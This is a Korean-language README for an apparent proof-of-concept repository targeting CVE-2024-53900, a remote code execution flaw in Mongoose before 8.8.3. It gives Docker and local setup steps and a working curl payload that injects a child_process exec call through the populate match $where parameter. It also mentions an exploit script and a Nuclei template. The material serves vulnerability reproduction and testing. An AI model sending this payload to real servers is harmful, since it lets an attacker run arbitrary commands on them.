
CVE-2024-53900에 대한 재현 가능한 환경과 PoC로, Mongoose의 populate().match $where를 통한 치명적인 RCE입니다. 자동화된 익스플로잇 스크립트와 보안 테스트용 Nuclei 템플릿을 포함합니다.
이 저장소는 Mongoose < 8.8.3에서 발생하는 심각한 원격 코드 실행(RCE) 취약점인 CVE-2024-53900에 대한 재현 가능한 취약 환경과 PoC를 제공합니다.
populate().match와 $where의 결합참고 자료:
git clone https://github.com/www-spam/CVE-2024-53900.git
cd CVE-2024-53900
docker-compose up -d
기본적으로 취약한 Node.js 앱은 Docker 내에서 실행됩니다.
하지만 GUI 애플리케이션(예: xcalc 또는 gnome-calculator)은 컨테이너 내에서 실행되지 않습니다.
👉 계산기 창을 열어 RCE를 시연하려면:
MongoDB를 Docker에서 실행 (DB 백엔드)
docker run -d --name mongo -p 27017:27017 mongo:6
취약한 Node.js 앱을 로컬에서 실행
cd ~/cve-2024/app
npm install
node server.js
27017 포트에서 실행됩니다.5000 포트에서 실행됩니다./home/kali/cve-2024/
├── docker-compose.yml # 환경 설정
├── exploit.py # 자동화된 익스플로잇 스크립트
├── CVE-2024-53900.yaml # Nuclei 템플릿
├── README.md # 문서
├── app/ # 취약한 Node.js 앱
│ ├── Dockerfile
│ ├── package.json
│ ├── server.js
│ ├── models.js
│ └── views/
└── data/ # MongoDB 볼륨
curl "http://localhost:5000/book/{OBJECT_ID}/detail?view[path]=author&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('xcalc')"
python3 exploit.py --url http://localhost:5000
nuclei \ -u http://localhost:5000/book/{{OBJECT_ID}/detail \ -t ~/.local/nuclei-templates/CVE-2024-53900.yaml \ -var pfield=author
mongo:6188.5.0 (취약)4.18.2